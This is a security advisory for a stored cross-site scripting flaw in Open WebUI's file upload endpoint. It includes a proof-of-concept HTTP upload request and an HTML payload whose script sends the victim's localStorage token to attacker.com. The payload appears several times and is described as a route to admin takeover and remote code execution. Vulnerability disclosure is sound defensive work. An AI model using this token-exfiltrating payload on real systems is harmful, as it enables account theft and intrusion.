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GHSA-8gh5-qqh8-hq3x
No affected components available
Summary
Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.
Details
The following HTTP request can be sent to the backend server to upload a file with the contents:
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.
The backend server responds to the above request with JSON data that contains an id parameter.
This ID can be used to view the uploaded file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.
PoC
First, upload an html containing JavaScript code to the backend server using the following HTTP request:
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Then copy the id from the response and use it to view the file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Impact
Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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